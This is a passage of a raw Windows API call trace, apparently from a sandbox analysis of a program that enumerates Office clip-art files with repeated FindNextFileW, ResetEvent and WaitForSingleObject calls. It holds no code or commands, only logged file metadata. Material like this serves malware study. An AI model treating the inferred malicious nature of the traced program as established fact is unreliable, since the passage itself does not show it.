ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0232.103] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0232.103] ResetEvent (hEvent=0x2b8) returned 1 [0232.104] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.107] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0232.107] ResetEvent (hEvent=0x2b8) returned 1 [0232.107] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.109] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0232.109] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0232.109] ResetEvent (hEvent=0x2b8) returned 1 [0232.110] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.112] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0232.112] ResetEvent (hEvent=0x2b8) returned 1 [0232.112] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.115] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0232.115] ResetEvent (hEvent=0x2b8) returned 1 [0232.115] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.119] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0232.119] ResetEvent (hEvent=0x2b8) returned 1 [0232.119] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.145] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0232.145] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0232.146] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0232.146] ResetEvent (hEvent=0x2b8) returned 1 [0232.146] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.154] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0232.154] ResetEvent (hEvent=0x2b8) returned 1 [0232.154] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.215] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0232.215] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0232.216] ResetEvent (hEvent=0x2b8) returned 1 [0232.216] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.225] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0232.225] ResetEvent (hEvent=0x2b8) returned 1 [0232.225] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.237] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0232.237] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0232.237] ResetEvent (hEvent=0x2b8) returned 1 [0232.237] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.250] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0232.250] ResetEvent (hEvent=0x2b8) returned 1 [0232.250] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.253] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0232.253] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0232.253] ResetEvent (hEvent=0x2b8) returned 1 [0232.253] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.260] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0232.260] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0232.261] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0232.261] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0232.261] ResetEvent (hEvent=0x2b8) returned 1 [0232.261] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.279] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0232.279] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0232.279] ResetEvent (hEvent=0x2b8) returned 1 [0232.279] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.286] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0232.286] ResetEvent (hEvent=0x2b8) returned 1 [0232.286] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.292] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0232.292] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0232.292] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0232.292] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0232.293] ResetEvent (hEvent=0x2b8) returned 1 [0232.293] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.295] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0232.296] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0232.296] ResetEvent (hEvent=0x2b8) returned 1 [0232.296] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.298] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0232.298] ResetEvent (hEvent=0x2b8) returned 1 [0232.298] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.300] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0232.300] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0232.301] ResetEvent (hEvent=0x2b8) returned 1 [0232.301] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.303] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0232.303] ResetEvent (hEvent=0x2b8) returned 1 [0232.303] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.305] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0232.305] ResetEvent (hEvent=0x2b8) returned 1 [0232.305] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.307] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0232.307] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0232.308] ResetEvent (hEvent=0x2b8) returned 1 [0232.308] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0232.310] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 